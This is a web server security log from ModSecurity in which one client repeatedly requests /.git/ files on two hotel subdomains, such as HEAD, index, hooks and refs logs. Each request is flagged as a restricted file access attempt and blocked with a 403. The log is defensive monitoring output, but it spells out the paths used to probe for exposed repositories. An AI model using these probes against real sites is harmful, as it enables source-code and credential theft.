[Mon Oct 26 08:36:23.691238 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at9JRxA_yAFS6UHz-l1VRgAAAA0"]
[Mon Oct 26 08:36:23.691523 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at9JRxA_yAFS6UHz-l1VRgAAAA0"]
[Mon Oct 26 08:36:23.692479 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at9JR3T09R7Np-FQ85dj2QAAAAo"]
[Mon Oct 26 08:36:23.692600 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at9JR3T09R7Np-FQ85dj2QAAAAo"]
[Mon Oct 26 08:36:23.692814 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at9JR3T09R7Np-FQ85dj2QAAAAo"]
[Mon Oct 26 08:36:23.693083 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at9JR3tuNRyqJbUWH7Jv8AAAAAQ"]
[Mon Oct 26 08:36:23.693215 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at9JR3tuNRyqJbUWH7Jv8AAAAAQ"]
[Mon Oct 26 08:36:23.693457 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at9JR3tuNRyqJbUWH7Jv8AAAAAQ"]
[Mon Oct 26 08:36:23.695395 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at9JRw9c_Zz9LocrxF9erAAAAAU"]
[Mon Oct 26 08:36:23.695517 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at9JRw9c_Zz9LocrxF9erAAAAAU"]
[Mon Oct 26 08:36:23.695734 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at9JRw9c_Zz9LocrxF9erAAAAAU"]
[Mon Oct 26 08:36:23.696656 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at9JR3hYESb98d-GXViKngAAAAs"]
[Mon Oct 26 08:36:23.696967 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at9JR3hYESb98d-GXViKngAAAAs"]
[Mon Oct 26 08:36:23.697247 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at9JR3hYESb98d-GXViKngAAAAs"]
[Mon Oct 26 08:36:23.697635 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at9JR03DiqOFJPXX6P43qAAAABM"]
[Mon Oct 26 08:36:23.697807 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at9JR03DiqOFJPXX6P43qAAAABM"]
[Mon Oct 26 08:36:23.698148 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at9JR03DiqOFJPXX6P43qAAAABM"]
[Mon Oct 26 08:36:23.699067 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9JR5_dbg3ptBnwDgQ5IAAAAAM"]
[Mon Oct 26 08:36:23.699190 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9JR5_dbg3ptBnwDgQ5IAAAAAM"]
[Mon Oct 26 08:36:23.699393 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9JR5_dbg3ptBnwDgQ5IAAAAAM"]
[Mon Oct 26 08:36:23.700300 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at9JRwsj78QLlrBrm-446wAAAAc"]
[Mon Oct 26 08:36:23.700450 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at9JRwsj78QLlrBrm-446wAAAAc"]
[Mon Oct 26 08:36:23.700647 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at9JRwsj78QLlrBrm-446wAAAAc"]
[Mon Oct 26 08:36:23.804689 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at9JRxA_yAFS6UHz-l1VRwAAAA0"]
[Mon Oct 26 08:36:23.804911 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at9JR3tuNRyqJbUWH7Jv8QAAAAQ"]
[Mon Oct 26 08:36:23.804928 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at9JRxA_yAFS6UHz-l1VRwAAAA0"]
[Mon Oct 26 08:36:23.805053 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at9JR3tuNRyqJbUWH7Jv8QAAAAQ"]
[Mon Oct 26 08:36:23.805213 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at9JRxA_yAFS6UHz-l1VRwAAAA0"]
[Mon Oct 26 08:36:23.805266 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at9JR3tuNRyqJbUWH7Jv8QAAAAQ"]
[Mon Oct 26 08:36:23.806173 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at9JR3T09R7Np-FQ85dj2gAAAAo"]
[Mon Oct 26 08:36:23.806199 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at9JRw9c_Zz9LocrxF9erQAAAAU"]
[Mon Oct 26 08:36:23.806310 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at9JR3T09R7Np-FQ85dj2gAAAAo"]
[Mon Oct 26 08:36:23.806340 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at9JRw9c_Zz9LocrxF9erQAAAAU"]
[Mon Oct 26 08:36:23.806547 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at9JR3T09R7Np-FQ85dj2gAAAAo"]
[Mon Oct 26 08:36:23.806559 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at9JRw9c_Zz9LocrxF9erQAAAAU"]
[Mon Oct 26 08:36:23.807452 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at9JR3hYESb98d-GXViKnwAAAAs"]
[Mon Oct 26 08:36:23.807486 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at9JR03DiqOFJPXX6P43qQAAABM"]
[Mon Oct 26 08:36:23.807570 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at9JR3hYESb98d-GXViKnwAAAAs"]
